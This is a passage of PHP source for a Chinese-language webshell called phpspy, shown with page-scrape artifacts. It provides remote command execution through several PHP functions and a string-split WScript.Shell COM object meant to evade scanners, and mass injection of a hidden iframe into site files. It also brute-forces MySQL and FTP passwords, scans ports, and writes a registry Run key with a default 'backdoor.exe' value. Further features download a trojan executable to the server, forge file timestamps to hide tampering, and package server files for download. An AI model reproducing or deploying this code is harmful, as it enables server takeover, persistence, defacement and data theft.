echo”你要查虾米?到底要查虾米呢?有没有虾米要你查呢?”;
}
}
elseif ($_GET[‘action’]==’plgmok’) {
   dirtree($_POST[‘dir’],$_POST[‘mm’]);
   }
elseif ($_GET[‘action’] == “plgm”) {
 $action = ‘?action=plgmok’;
 $gm = “<iframe src=http://127.0.0.1/m.htm width=0 height=0></iframe>”;
 $tb->tableheader();
 $tb->formheader($action,’批量挂马’);
 $tb->tdbody(‘网站批量挂马程序php版’,’center’);
 $tb->tdbody(‘文件位置: ‘.$tb->makeinput(‘dir’,”.$_SERVER[“DOCUMENT_ROOT”].”,”,’text’,’60’).'<br>要挂代码:’.$tb->maketextarea(‘mm’,$gm,’50’,’5′).”.$tb->makehidden(‘do’,’批量挂马’).'<br>’.$tb->makeinput(‘submit’,’开始挂马’,”,’submit’),’center’,’1′,’35’);
 echo “</form>”;
 $tb->tablefooter();
}//end plgm
// 克隆时间
elseif ($_POST[‘do’] == ‘domodtime’) {
 if ([email protected]_exists($_POST[‘curfile’])) {
  echo “要修改的文件不存在!”;
 } else {
  if ([email protected]_exists($_POST[‘tarfile’])) {
   echo “要参照的文件不存在!”;#p#分页标题#e#
  } else {
   [email protected]($_POST[‘tarfile’]);
   echo (@touch($_POST[‘curfile’],$time,$time)) ? basename($_POST[‘curfile’]).” 的修改时间成功改为 “.date(“Y-m-d H:i:s”,$time).” !” : “文件的修改时间修改失败!”;
  }
 }
}

// 自定义时间
elseif ($_POST[‘do’] == ‘modmytime’) {
 if ([email protected]_exists($_POST[‘curfile’])) {
  echo “要修改的文件不存在!”;
 } else {
  $year=$_POST[‘year’];
  $month=$_POST[‘month’];
  $data=$_POST[‘data’];  
  $hour=$_POST[‘hour’];
  $minute=$_POST[‘minute’];
  $second=$_POST[‘second’];
  if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) {
   $time=strtotime(“$data $month $year $hour:$minute:$second”);
   echo (@touch($_POST[‘curfile’],$time,$time)) ? basename($_POST[‘curfile’]).” 的修改时间成功改为 “.date(“Y-m-d H:i:s”,$time).” !” : “文件的修改时间修改失败!”;
  }
 }
}
elseif($do ==’port’){
  $tmp = explode(“,”,$port);
  $count = count($tmp);
 for($i=$first;$i<$count;$i++){
   $fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
   if($fp) echo”发现”.$host.”主机打开了端口”.$tmp[$i].”<br>”;
 }
}
/*
这里代码写得很杂,说实话我自己都不知道写了什么。
好在能用,我就没管了,假设有人看到干脆重写吧。*/
elseif ($do == ‘crack’) {//反正注册为全局变量了。
 if(@file_exists($passfile)){
  $tmp = file($passfile);
  $count = count($tmp);
  if(empty($onetime)){
   $onetime = $count;
   $turn=”1″;
  }else{
   $nowturn = $turn+1;
   $now = $turn*$onetime;
   $tt = intval(($count/$onetime)+1);
  }
  if($turn>$tt or $onetime>$count){
   echo”超过字典容量了耶~要是破解最后进程的,很抱歉失败。”;
   }else{
    $first = $onetime*($turn-1);
    for($i=$first;$i<$now;$i++){
     if($ctype==”mysql”) $sa = @mysql_connect($host,$user,chop($tmp[$i]));
     else $sa = @ftp_login(ftp_connect($host,$admin[ftpport]),$user,chop($tmp[$i]));
    if($sa)
     {
     $t = “获取”.$user.”的密码为”.$tmp[$i].””;
     }
   }
   if(!$t){
    echo “<meta http-equiv=\”refresh\” content=\””.$admin[jumpsecond].”;URL=”.$self.”?do=crack&passfile=”.$passfile.”&host=”.$host.”&user=”.$user.”&turn=”.$nowturn.”&onetime=”.$onetime.”&ctype=”.$ctype.”\”><span style=\”font-size: 12px; font-family: Verdana\”><a href=\””.$self.”?do=crack&passfile=”.$passfile.”&host=”.$host.”&user=”.$user.”&turn=”.$nowturn.”&onetime=”.$onetime.”&type=”.$ctype.”\”>字典总共”.$count.”个,现在从”.$first.”到”.$now.”,”.$admin[jumpsecond].”秒后进行这”.$onetime.”个密码的试探. &gt;&gt;&gt;</a><br>全历此次”.$type.”的破解需要”.$tt.”次,现在是第”.$turn.”次解密。</span>”;
 }
 else {
  echo”$t”;
  }
   }
}else{
   echo”字典文件不存在,请确定。”;
   }
}
elseif($do ==’port’){
 if(!eregi(“-“,$port)){
  $tmp = explode(“,”,$port);
  $count = count($tmp);
  $first = “1”;
 }else{
  $tmp = explode(“-“,$port);#p#分页标题#e#
  $first = $tmp[0];
  $count = $tmp[1];

 }
 for($i=$first;$i<$count;$i++){
   if(!eregi(“-“,$port)){
   $fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
   if($fp) echo”发现”.$host.”主机打开了端口”.$tmp[$i].”<br>”;
   }else{
    $fp = @fsockopen($host, $i, $errno, $errstr, 1);
    if($fp) echo”发现”.$host.”主机打开了端口”.$i.”<br>”;
   }
  }

 }
// 连接MYSQL
elseif ($connect) {
 if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
  echo “数据库连接成功!”;
  mysql_close();
 } else {
  echo mysql_error();
 }
}

// 执行SQL语句
elseif ($_POST[‘do’] == ‘query’) {
 @mysql_connect($servername,$dbusername,$dbpassword) or die(“数据库连接失败”);
 @mysql_select_db($dbname) or die(“选择数据库失败”);
 $result = @mysql_query($_POST[‘sql_query’]);
 echo ($result) ? “SQL语句成功执行!” : “出错: “.mysql_error();
 mysql_close();
}

// 备份操作
elseif ($_POST[‘do’] == ‘backupmysql’) {
 if (empty($_POST[‘table’]) OR empty($_POST[‘backuptype’])) {
  echo “请选择欲备份的数据表和备份方式!”;
 } else {
  if ($_POST[‘backuptype’] == ‘server’) {
   @mysql_connect($servername,$dbusername,$dbpassword) or die(“数据库连接失败”);
   @mysql_select_db($dbname) or die(“选择数据库失败”); 
   $table = array_flip($_POST[‘table’]);
   $filehandle = @fopen($path,”w”);
   if ($filehandle) {
    $result = mysql_query(“SHOW tables”);
    echo ($result) ? NULL : “出错: “.mysql_error();
    while ($currow = mysql_fetch_array($result)) {
     if (isset($table[$currow[0]])) {
      sqldumptable($currow[0], $filehandle);
      fwrite($filehandle,”\n\n\n”);
     }
    }
    fclose($filehandle);
    echo “数据库已成功备份到 <a href=\””.$path.”\” target=\”_blank\”>”.$path.”</a>”;
    mysql_close();
   } else {
    echo “备份失败,请确认目标文件夹是否具有可写权限!”;
   }
  }
 }
}
elseif($downrar) {
 if (!empty($dl)) {
  if(eregi(“unzipto:”,$localfile)){
  $path = “”.$dir.”/”.str_replace(“unzipto:”,””,$localfile).””;
  $zip = new Zip;
  $zipfile=$dir.”/”.$dl[0];
  $array=$zip->get_list($zipfile);
  $count=count($array);
  $f=0;
  $d=0;
  for($i=0;$i<$count;$i++) {
   if($array[$i][folder]==0) {
    if($zip->Extract($zipfile,$path,$i)>0) $f++;
   }
   else $d++;
  }
  if($i==$f+$d) echo “$dl[0] 解压到”.$path.”成功<br>($f 个文件 $d 个目录)”;
  elseif($f==0) echo “$dl[0] 解压到”.$path.”失败”;
  else echo “$dl[0] 未解压完整<br>(已解压 $f 个文件 $d 个目录)”;
  }else{
 $zipfile=””;
 $zip = new Zip;
 for($k=0;isset($dl[$k]);$k++)
  {
   $zipfile=$dir.”/”.$dl[$k];
   if(is_dir($zipfile))
   {
    unset($zipfilearray);
    addziparray($dl[$k]);
    for($i=0;$zipfilearray[$i];$i++)
    {
     $filename=$zipfilearray[$i];
     [email protected]($dir.”/”.$zipfilearray[$i]);#p#分页标题#e#
     [email protected]($dir.”/”.$filename,rb);
     $zipfiles[]=Array($filename,@fread($fp,$filesize));
     @fclose($fp);
    }
   }
   else
   {
    $filename=$dl[$k];
    [email protected]($zipfile);
    [email protected]($zipfile,rb);
    $zipfiles[]=Array($filename,@fread($fp,$filesize));
    @fclose($fp);
   }
  }
  $zip->Add($zipfiles,1);
  $code = $zip->get_file();
  $ck = “_QQ44997_”.date(“Y-m-d”,time()).””;
  if(empty($localfile)){
  header(“Content-type: application/octet-stream”);
  header(“Accept-Ranges: bytes”);
  header(“Accept-Length: “.strlen($code));
  header(“Content-Disposition: attachment;filename=”.$_SERVER[‘HTTP_HOST’].””.$ck.”_Files.zip”);
  echo $code;
  exit;
  }else{
   $fp = @fopen(“”.$dir.”/”.$localfile.””,”w”);
   echo [email protected]($fp,$code) ? “压缩保存”.$dir.”/”.$localfile.”本地成功!!” : “目录”.$dir.”无可写权限!”;
   @fclose($fp);
  }
  }
 } else {
  echo “请选择要打包下载的文件!”;
 }
}
// Shell.Application 运行程序
elseif(($_POST[‘do’] == ‘programrun’) AND !empty($_POST[‘program’])) {
 $shell= &new COM(‘Sh’.’el’.’l.Appl’.’ica’.’tion’);
 $a = $shell->ShellExecute($_POST[‘program’],$_POST[‘prog’]);
 echo ($a==’0′) ? “程序已经成功执行!” : “程序运行失败!”;
}
// 查看PHP配置参数状况
elseif(($_POST[‘do’] == ‘viewphpvar’) AND !empty($_POST[‘phpvarname’])) {
 echo “配置参数 “.$_POST[‘phpvarname’].” 检测结果: “.getphpcfg($_POST[‘phpvarname’]).””;
}
// 读取注册表
elseif(($regread) AND !empty($_POST[‘readregname’])) {
 $shell= &new COM(‘WSc’.’rip’.’t.Sh’.’ell’);
 var_dump(@$shell->RegRead($_POST[‘readregname’]));
}

// 写入注册表
elseif(($regwrite) AND !empty($_POST[‘writeregname’]) AND !empty($_POST[‘regtype’]) AND !empty($_POST[‘regval’])) {
 $shell= &new COM(‘W’.’Scr’.’ipt.S’.’hell’);
 $a = @$shell->RegWrite($_POST[‘writeregname’], $_POST[‘regval’], $_POST[‘regtype’]);
 echo ($a==’0′) ? “写入注册表健值成功!” : “写入 “.$_POST[‘regname’].”, “.$_POST[‘regval’].”, “.$_POST[‘regtype’].” 失败!”;
}
// 删除注册表
elseif(($regdelete) AND !empty($_POST[‘delregname’])) {
 $shell= &new COM(‘WS’.’cri’.’pt.S’.’he’.’ll’);
 $a = @$shell->RegDelete($_POST[‘delregname’]);
 echo ($a==’0′) ? “删除注册表健值成功!” : “删除 “.$_POST[‘delregname’].” 失败!”;
}
else {
 echo “$notice”;
}
echo “</b></p>\n”;
/*===================== 执行操作 结束 =====================*/
if (!isset($_GET[‘action’]) OR empty($_GET[‘action’]) OR ($_GET[‘action’] == “dir”)) {
 $tb->tableheader();
?>
  <tr bgcolor=”#cccccc”>
    <td align=”center” nowrap width=”27%”><b>文件</b></td>
 <td align=”center” nowrap width=”16%”><b>创建日期</b></td>
    <td align=”center” nowrap width=”16%”><b>最后修改</b></td>
    <td align=”center” nowrap width=”11%”><b>大小</b></td>
    <td align=”center” nowrap width=”6%”><b>属性</b></td>
    <td align=”center” nowrap width=”24%”><b>操作</b></td>#p#分页标题#e#
  </tr>
  <FORM action=”” method=”POST”>
<?php
// 目录列表
[email protected]($dir);
$dir_i = ‘0’;
while ([email protected]($dirs)) {
 $filepath=”$dir/$file”;
 [email protected]_dir($filepath);
 if($a==”1″){
  if($file!=”..” && $file!=”.”) {
   [email protected](“Y-m-d H:i:s”,@filectime($filepath));
   [email protected](“Y-m-d H:i:s”,@filemtime($filepath));
   $dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
   echo “<tr class=”.getrowbg().”>\n”;
   echo ”  <td style=\”padding-left: 5px;\”><INPUT type=checkbox value=$file name=dl[]> [<a href=\”?dir=”.urlencode($dir).”/”.urlencode($file).”\”><font color=\”#006699\”>$file</font></a>]</td>\n”;
   echo ”  <td align=\”center\” nowrap class=\”smlfont\”>$ctime</td>\n”;
   echo ”  <td align=\”center\” nowrap class=\”smlfont\”>$mtime</td>\n”;
   echo ”  <td align=\”center\” nowrap class=\”smlfont\”><a href=\”?action=search&dir=”.$filepath.”\”>Search</a></td>\n”;
   echo ”  <td align=\”center\” nowrap class=\”smlfont\”><a href=\”?action=fileperm&dir=”.urlencode($dir).”&file=”.urlencode($file).”\”>$dirperm</a></td>\n”;
   echo ”  <td align=\”center\” nowrap>| <a href=\”#\” onclick=\”really(‘”.urlencode($dir).”‘,'”.urlencode($file).”‘,’你确定要删除 $file 目录吗? \\n\\n如果该目录非空,此次操作将会删除该目录下的所有文件!’,’1′)\”>删除</a> | <a href=\”?action=rename&dir=”.urlencode($dir).”&fname=”.urlencode($file).”\”>改名</a> |</td>\n”;
   echo “</tr>\n”;
   $dir_i++;
  } else {
   if($file==”..”) {
    echo “<tr class=”.getrowbg().”>\n”;
    echo ”  <td nowrap colspan=\”6\” style=\”padding-left: 5px;\”><a href=\”?dir=”.urlencode($dir).”/”.urlencode($file).”\”>返回上级目录</a></td>\n”;
    echo “</tr>\n”;
   }
  }
 }
}// while
@closedir($dirs);
?>
<tr bgcolor=”#cccccc”>
  <td colspan=”6″ height=”5″></td>
</tr>
<?
// 文件列表
[email protected]($dir);
$file_i = ‘0’;
while ([email protected]($dirs)) {
 $filepath=”$dir/$file”;
 [email protected]_dir($filepath);
 if($a==”0″){  
  [email protected]($filepath);
  $size=$size/1024 ;
  $size= @number_format($size, 3);
  if (@filectime($filepath) == @filemtime($filepath)) {
   [email protected](“Y-m-d H:i:s”,@filectime($filepath));
   [email protected](“Y-m-d H:i:s”,@filemtime($filepath));
  } else {
   $ctime=”<span class=\”redfont\”>”[email protected](“Y-m-d H:i:s”,@filectime($filepath)).”</span>”;
   $mtime=”<span class=\”redfont\”>”[email protected](“Y-m-d H:i:s”,@filemtime($filepath)).”</span>”;
  }
  @$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
  echo “<tr class=”.getrowbg().”>\n”;
  echo ”  <td style=\”padding-left: 5px;\”>”;
  echo “<INPUT type=checkbox value=$file name=dl[]>”;
  echo “<a href=\”$filepath\” target=\”_blank\”>$file</a></td>\n”;
  echo ”  <td align=\”center\” nowrap class=\”smlfont\”>$ctime</td>\n”;
  echo ”  <td align=\”center\” nowrap class=\”smlfont\”>$mtime</td>\n”;#p#分页标题#e#
  echo ”  <td align=\”right\” nowrap class=\”smlfont\”><span class=\”redfont\”>$size</span> KB</td>\n”;
  echo ”  <td align=\”center\” nowrap class=\”smlfont\”><a href=\”?action=fileperm&dir=”.urlencode($dir).”&file=”.urlencode($file).”\”>$fileperm</a></td>\n”;
  echo ”  <td align=\”center\” nowrap><a href=\”?downfile=”.urlencode($filepath).”\”>下载</a> | <a href=\”?action=editfile&dir=”.urlencode($dir).”&editfile=”.urlencode($file).”\”>编辑</a> | <a href=\”#\” onclick=\”really(‘”.urlencode($dir).”‘,'”.urlencode($filepath).”‘,’你确定要删除 $file 文件吗?’,’2′)\”>删除</a> | <a href=\”?action=rename&dir=”.urlencode($dir).”&fname=”.urlencode($filepath).”\”>改名</a> | <a href=\”?action=newtime&dir=”.urlencode($dir).”&file=”.urlencode($filepath).”\”>时间</a></td>\n”;
  echo “</tr>\n”;
  $file_i++;
 }
}// while
@closedir($dirs);
if(get_cfg_var(‘safemode’))$z = “<a href=\”#\” title=\”使用说明\” onclick=\”alert(‘Php为安全模式尽量少打包内容以免脚本超时\\n\\n填写文件名则把文件保存在本地方便操作,不填则直接下载。’)\”>(?)</a>”;
else $z = “<a href=\”#\” title=\”使用说明\” onclick=\”alert(‘Php运行非安全模式,打包大件请等啊等啊等啊等\\n\\n填写文件名则把文件保存在本地方便操作,不填则直接下载。’)\”>(?)</a>”;
$tb->tdbody(‘<table width=”100%” border=”0″ cellpadding=”2″ cellspacing=”0″ align=”center”><tr><td>’.$tb->makeinput(‘chkall’,’on’,’onclick=”CheckAll(this.form)”‘,’checkbox’,’30’,”).’ 本地文件:’.$tb->makeinput(‘localfile’,”,”,’text’,’15’).”.$tb->makeinput(‘downrar’,’选中打包下载或本地保存’,”,’submit’).’ &nbsp’.$z.'</td><td align=”right”>’.$dir_i.’ 个目录 / ‘.$file_i.’ 个文件</td></tr></table>’,’center’,getrowbg(),”,”,’6′);

echo “</FORM>\n”;
echo “</table>\n”;
}// end dir

elseif ($_GET[‘action’] == “editfile”) {
 if(empty($newfile)) {
  $filename=”$dir/$editfile”;
  [email protected]($filename,”r”);
  $conten[email protected]($fp, filesize($filename));
  @fclose($fp);
  $contents=htmlspecialchars($contents);
 }else{
  $editfile=$newfile;
  $filename = “$dir/$editfile”;
 }
 $action = “?dir=”.urlencode($dir).”&editfile=”.$editfile;
 $tb->tableheader();
 $tb->formheader($action,’新建/编辑文件’);
 $tb->tdbody(‘当前文件: ‘.$tb->makeinput(‘editfilename’,$filename).’ 输入新文件名则建立新文件 Php代码加密: <input type=”checkbox” name=”change” value=”yes” onclick=”javascript:alert(\’这个功能只可以用来加密或是压缩完整的php代码。\\n\\n非php代码或不完整php代码或不支持gzinflate函数请不要使用!\’)”> ‘);
 $tb->tdbody($tb->maketextarea(‘filecontent’,$contents));
 $tb->makehidden(‘do’,’doeditfile’);
 $tb->formfooter(‘1′,’30’);
}//end editfile

elseif ($_GET[‘action’] == “rename”) {
 $nowfile = (isset($_POST[‘newname’])) ? $_POST[‘newname’] : basename($_GET[‘fname’]);
 $action = “?dir=”.urlencode($dir).”&fname=”.urlencode($fname);
 $tb->tableheader();
 $tb->formheader($action,’修改文件名’);
 $tb->makehidden(‘oldname’,$dir.”/”.$nowfile);
 $tb->makehidden(‘dir’,$dir);
 $tb->tdbody(‘当前文件名: ‘.basename($nowfile));
 $tb->tdbody(‘改名为: ‘.$tb->makeinput(‘newname’));
 $tb->makehidden(‘do’,’rename’);#p#分页标题#e#
 $tb->formfooter(‘1′,’30’);
}//end rename

elseif ($_GET[‘action’] == “eval”) {
 $action = “?dir=”.urlencode($dir).””;
 $tb->tableheader();
 $tb->formheader(”.$action.’ “target=”_blank’ ,’执行php脚本’);
 $tb->tdbody($tb->maketextarea(‘phpcode’,$contents));
 $tb->formfooter(‘1′,’30’);
 
}
elseif ($_GET[‘action’] == “fileperm”) {
 $action = “?dir=”.urlencode($dir).”&file=”.$file;
 $tb->tableheader();
 $tb->formheader($action,’修改文件属性’);
 $tb->tdbody(‘修改 ‘.$file.’ 的属性为: ‘.$tb->makeinput(‘fileperm’,substr(base_convert(fileperms($dir.’/’.$file),10,8),-4)));
 $tb->makehidden(‘file’,$file);
 $tb->makehidden(‘dir’,urlencode($dir));
 $tb->makehidden(‘do’,’editfileperm’);
 $tb->formfooter(‘1′,’30’);
}//end fileperm

elseif ($_GET[‘action’] == “newtime”) {
 $action = “?dir=”.urlencode($dir);
 $cachemonth = array(‘January’=>1,’February’=>2,’March’=>3,’April’=>4,’May’=>5,’June’=>6,’July’=>7,’August’=>8,’September’=>9,’October’=>10,’November’=>11,’December’=>12);
 $tb->tableheader();
 $tb->formheader($action,’克隆文件最后修改时间’);
 $tb->tdbody(“修改文件: “.$tb->makeinput(‘curfile’,$file,’readonly’).” → 目标文件: “.$tb->makeinput(‘tarfile’,’需填完整路径及文件名’),’center’,’2′,’30’);
 $tb->makehidden(‘do’,’domodtime’);
 $tb->formfooter(”,’30’);
 $tb->formheader($action,’自定义文件最后修改时间’);
 $tb->tdbody(‘<br><ul><li>有效的时间戳典型范围是从格林威治时间 1901 年 12 月 13 日 星期五 20:45:54 到 2038年 1 月 19 日 星期二 03:14:07<br>(该日期根据 32 位有符号整数的最小值和最大值而来)</li><li>说明: 日取 01 到 30 之间, 时取 0 到 24 之间, 分和秒取 0 到 60 之间!</li></ul>’,’left’);
 $tb->tdbody(‘当前文件名: ‘.$file);
 $tb->makehidden(‘curfile’,$file);
 $tb->tdbody(‘修改为: ‘.$tb->makeinput(‘year’,’1984′,”,’text’,’4′).’ 年 ‘.$tb->makeselect(array(‘name’=>’month’,’option’=>$cachemonth,’selected’=>’October’)).’ 月 ‘.$tb->makeinput(‘data’,’18’,”,’text’,’2′).’ 日 ‘.$tb->makeinput(‘hour’,’20’,”,’text’,’2′).’ 时 ‘.$tb->makeinput(‘minute’,’00’,”,’text’,’2′).’ 分 ‘.$tb->makeinput(‘second’,’00’,”,’text’,’2′).’ 秒’,’center’,’2′,’30’);
 $tb->makehidden(‘do’,’modmytime’);
 $tb->formfooter(‘1′,’30’);
}//end newtime

elseif ($_GET[‘action’] == “shell”) {
 $action = “??action=shell&dir=”.urlencode($dir);
 $tb->tableheader();
 $tb->tdheader(‘WebShell Mode’);
  if (substr(PHP_OS, 0, 3) == ‘WIN’) {
  $program = isset($_POST[‘program’]) ? $_POST[‘program’] : “c:\winnt\system32\cmd.exe”;
  $prog = isset($_POST[‘prog’]) ? $_POST[‘prog’] : “/c net start > “.$pathname.”/log.txt”;
  echo “<form action=\”?action=shell&dir=”.urlencode($dir).”\” method=\”POST\”>\n”;
  $tb->tdbody(‘无回显运行程序 → 文件: ‘.$tb->makeinput(‘program’,$program).’ 参数: ‘.$tb->makeinput(‘prog’,$prog,”,’text’,’40’).’ ‘.$tb->makeinput(”,’Run’,”,’submit’),’center’,’2′,’35’);
  $tb->makehidden(‘do’,’programrun’);
  echo “</form>\n”;
 }
 echo “<form action=\”?action=shell&dir=”.urlencode($dir).”\” method=\”POST\”>\n”;#p#分页标题#e#
 if(isset($_POST[‘cmd’])) $cmd = $_POST[‘cmd’];
 $tb->tdbody(‘提示:如果输出结果不完全,建议把输出结果写入文件.这样可以得到全部内容. ‘);
 $tb->tdbody(‘proc_open函数假设不是默认的winnt系统请自行设置使用,自行修改记得写退出,否则会在主机上留下一个未结束的进程.’);
 $tb->tdbody(‘proc_open函数要使用的cmd程序的位置:’.$tb->makeinput(‘cmd’,$cmd,”,’text’,’30’).'(要是是linux系统还是大大们自己修改吧)’);
   $execfuncs = (substr(PHP_OS, 0, 3) == ‘WIN’) ? array(‘system’=>’system’,’passthru’=>’passthru’,’exec’=>’exec’,’shell_exec’=>’shell_exec’,’popen’=>’popen’,’wscript’=>’Wscript.Shell’,’proc_open’=>’proc_open’) : array(‘system’=>’system’,’passthru’=>’passthru’,’exec’=>’exec’,’shell_exec’=>’shell_exec’,’popen’=>’popen’,’proc_open’=>’proc_open’);
   $tb->tdbody(‘选择执行函数: ‘.$tb->makeselect(array(‘name’=>’execfunc’,’option’=>$execfuncs,’selected’=>$execfunc)).’ 输入命令: ‘.$tb->makeinput(‘command’,$_POST[‘command’],”,’text’,’60’).’ ‘.$tb->makeinput(”,’Run’,”,’submit’));
?>
  <tr class=”secondalt”>
    <td align=”center”><textarea name=”textarea” cols=”100″ rows=”25″ readonly><?php
 if (!empty($_POST[‘command’])) {
  if ($execfunc==”system”) {
   system($_POST[‘command’]);
  } elseif ($execfunc==”passthru”) {
   passthru($_POST[‘command’]);
  } elseif ($execfunc==”exec”) {
   $result = exec($_POST[‘command’]);
   echo $result;
  } elseif ($execfunc==”shell_exec”) {
   $result=shell_exec($_POST[‘command’]);
   echo $result; 
  } elseif ($execfunc==”popen”) {
   $pp = popen($_POST[‘command’], ‘r’);
   $read = fread($pp, 2096);
   echo $read;
   pclose($pp);
  } elseif ($execfunc==”wscript”) {
   $wsh = new COM(‘W’.’Scr’.’ip’.’t.she’.’ll’) or die(“PHP Create COM WSHSHELL failed”);
   $exec = $wsh->exec (“cm”.”d.e”.”xe /c “.$_POST[‘command’].””);
   $stdout = $exec->StdOut();
   $stroutput = $stdout->ReadAll();
   echo $stroutput;
  } elseif($execfunc==”proc_open”){
$descriptorspec = array(
   0 => array(“pipe”, “r”),
   1 => array(“pipe”, “w”),
   2 => array(“pipe”, “w”)
);
$process = proc_open(“”.$_POST[‘cmd’].””, $descriptorspec, $pipes);
if (is_resource($process)) {

    // 写命令
    fwrite($pipes[0], “”.$_POST[‘command’].”\r\n”);
    fwrite($pipes[0], “exit\r\n”);
    fclose($pipes[0]);
    // 读取输出
    while (!feof($pipes[1])) {
        echo fgets($pipes[1], 1024);
    }
    fclose($pipes[1]);
    while (!feof($pipes[2])) {
        echo fgets($pipes[2], 1024);
      }
    fclose($pipes[2]);

    proc_close($process);
}
  } else {
   system($_POST[‘command’]);
  }
 }
 ?></textarea></td>
  </tr> 
  </form>
</table>
<?php
}//end shell

elseif ($_GET[‘action’] == “reg”) {
 $action = ‘?action=reg’;
 $regname = isset($_POST[‘regname’]) ? $_POST[‘regname’] : ‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber’;#p#分页标题#e#
 $registre = isset($_POST[‘registre’]) ? $_POST[‘registre’] : ‘HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Backdoor’;
 $regval = isset($_POST[‘regval’]) ? $_POST[‘regval’] : ‘c:\winnt\backdoor.exe’;
 $delregname = $_POST[‘delregname’];
 $tb->tableheader();
 $tb->formheader($action,’读取注册表’);
 $tb->tdbody(‘键值: ‘.$tb->makeinput(‘readregname’,$regname,”,’text’,’100′).’ ‘.$tb->makeinput(‘regread’,’读取’,”,’submit’),’center’,’2′,’50’);
 echo “</form>”;

 $tb->formheader($action,’写入注册表’);
 $cacheregtype = array(‘REG_SZ’=>’REG_SZ’,’REG_BINARY’=>’REG_BINARY’,’REG_DWORD’=>’REG_DWORD’,’REG_MULTI_SZ’=>’REG_MULTI_SZ’,’REG_EXPAND_SZ’=>’REG_EXPAND_SZ’);
 $tb->tdbody(‘键值: ‘.$tb->makeinput(‘writeregname’,$registre,”,’text’,’56’).’ 类型: ‘.$tb->makeselect(array(‘name’=>’regtype’,’option’=>$cacheregtype,’selected’=>$regtype)).’ 值:  ‘.$tb->makeinput(‘regval’,$regval,”,’text’,’15’).’ ‘.$tb->makeinput(‘regwrite’,’写入’,”,’submit’),’center’,’2′,’50’);
 echo “</form>”;

 $tb->formheader($action,’删除注册表’);
 $tb->tdbody(‘键值: ‘.$tb->makeinput(‘delregname’,$delregname,”,’text’,’100′).’ ‘.$tb->makeinput(‘regdelete’,’删除’,”,’submit’),’center’,’2′,’50’);
 echo “</form>”;
 $tb->tablefooter();
}//end reg
elseif ($_GET[‘action’] == “downloads”){
$action = ‘?action=dir’;
 $tb->tableheader();
 $tb->formheader($action,’http文件下载模式’);
 $tb->tdbody(‘你可以使用本功能把一些小工具以http方式下载到此服务器’,’center’);
 $tb->tdbody(‘文件位置: ‘.$tb->makeinput(‘durl’,’http://google.com/muma.exe’,”,’text’,’70’).'<br>下载到:’.$tb->makeinput(‘path’,’./muma.exe’,”,’text’,’60’).”.$tb->makehidden(‘do’,’downloads’).”.$tb->makeinput(”,’下载’,”,’submit’),’center’,’1′,’35’);
 echo “</form>”;
 $tb->tdbody(‘注意,假设文件太大将无法下载下来而且影响执行速度.’,’center’);
 $tb->tablefooter();
}
elseif ($_GET[‘action’] == “mix”){
$action = ‘?action=dir’;
 $tb->tableheader();
 $tb->formheader($action,’解压缩mix.dll文件’);
 $tb->tdbody(‘在这里可以把压缩在phpspy里的mix.dll解压缩出来。’,’center’);
 $tb->tdbody(‘解压缩为: ‘.$tb->makeinput(‘mixto’,’./mix.dll’,”,’text’,’70’).”.$tb->makehidden(‘action’,’mix’).”.$tb->makeinput(”,’unzip’,”,’submit’),’center’,’1′,’35’);
 echo “</form>”;
 $tb->tablefooter();
}
elseif ($_GET[‘action’] == “crack”){
$action = ‘?action=dir’;
 $tb->tableheader();
 $tb->tdbody(‘这里的组件主要用来突破一些特别的地方而准备,比如内网。’,’center’);
 if($type==”crack”){
 $tb->formheader($action,’暴力破解mysql或ftp密码 <a href=”?action=crack”>[Mysql杂项]</a>’);
 $tb->tdbody(‘你在这里设置一些参数进行mysql登陆密码的破解。’,’center’);
 $tb->tdbody(‘host: ‘.$tb->makeinput(‘host’,’localhost’,”,’text’,’12’).’&nbsp帐号’.$tb->makeinput(‘user’,’root’,”,’text’,’12’).”.$tb->makehidden(‘do’,’crack’).’&nbsp;字典:’.$tb->makeinput(‘passfile’,’./password.txt’,”,’text’,’20’).’&nbsp;一次试探:’.$tb->makeinput(‘onetime’,’100′,”,’text’,’6′).’个&nbsp;’.$tb->makeinput(”,’crack’,”,’submit’),’center’,’1′,’35’);#p#分页标题#e#
 $tb->tdbody(‘MYSQL:<input type=”radio” name=”ctype” value=”mysql” checked> &nbsp;&nbsp;Ftp:<input type=”radio” name=”ctype” value=”ftp”>’,’center’);
 echo “</form>”;
 if(getphpcfg(“allow_url_fopen”)==”Yes”) $temp = “或远程文件”;
 $tb->tdbody(‘字典可以使用相对或绝对路径’.$temp.’,Ftp的密码破解测试已经通过。’,’center’);
 $tb->formheader($action,’端口扫描’);
 $tb->tdbody(‘在这里可以进行端口的简单扫描。’,’center’);
 $tb->tdbody(‘host: ‘.$tb->makeinput(‘host’,’127.0.0.1′,”.$tb->makehidden(‘do’,’port’).”,’text’,’12’).’&nbsp;端口表:’.$tb->makeinput(‘port’,”.$admin[port].”,”,’text’,’60’).”,’center’,’1′,’35’);
 $tb->tdbody(”.$tb->makeinput(”,’进行端口扫描’,”,’submit’).”,’center’);
 echo “</form>”;
 $tb->tdbody(‘端口表请把你要查的端口用逗号隔开!’,’center’);
 $tb->tableheader();
}else{
 $tb->formheader(“”.$action.”\” enctype=\”multipart/form-data”,’使用Mysql上传文件 <a href=”?action=crack&type=crack”>[Crack杂项]</a>’);
 $tb->tdbody(‘利用Mysql连接帐号把文件以mysql的权限导到Webshell权限本身不可写的地方’,’center’);
 $tb->tdbody(‘Host: ‘.$tb->makeinput(‘host’,’localhost’,”,’text’,’16’).’User: ‘.$tb->makeinput(‘user’,’root’,”,’text’,’16’).’PASS: ‘.$tb->makeinput(‘password’,”,”,’text’,’16’).’db: ‘.$tb->makeinput(‘database’,’mysql.user’,”,’text’,’16’).’upto: ‘.$tb->makeinput(‘uppath’,’c:/’,”,’text’,’16’).”.$tb->makehidden(‘action’,’mysqlup’),’center’,’1′,’35’);
 $tb->tdbody(‘上传后文件名: ‘.$tb->makeinput(‘upname’,”,”,’text’,’16’).’选择文件: ‘.$tb->makeinput(‘upfile’,”,”,’file’,’26’).”.$tb->makeinput(”,’upload’,”,’submit’),’center’,’1′,’35’);
